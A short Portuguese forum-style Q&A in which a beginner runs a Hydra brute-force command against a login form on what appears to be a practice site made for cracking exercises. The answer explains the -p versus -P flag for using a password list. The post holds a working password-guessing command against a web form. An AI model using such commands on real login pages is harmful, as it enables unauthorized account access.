Recentemente, baixei o hydra para o meu computador com windows. Esta é a minha primeira tentativa de quebra de senhas. Estou tentando entrar no passo 4 há um formulário de login projetado para crackers.
No comando hydra, digite o seguinte para quebrar a senha.
hydra -l admin -p Desktop/passlist.txt attack.samsclass.info http-get-form "/brute4.php:login=^USER^&pin=^PASS^:Denied
Ele retorna:
[DATA] max 1 task per 1 server, overall 1 tasks, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking service http-get-form on port 80
[DATA] with additional data /brute4.php:login=^USER^&pin=^PASS^:Denied
1 of 1 target completed, 0 valid passwords found
Na minha lista de senhas especificada, eu tenho a senha correta, mas a hydra está apenas tentando uma senha e depois parando. O que posso fazer para mudar isso?
Você provavelmente já sabe a resposta, mas o problema é que o -p sinalizador está dizendo ao Hydra para tentar o texto que vem imediatamente depois dele como a senha - que neste caso é Desktop/passlist.txt .
Se você quiser que o Hydra use o arquivo de texto como fonte, você precisa capitalizar a letra, ou seja, -P .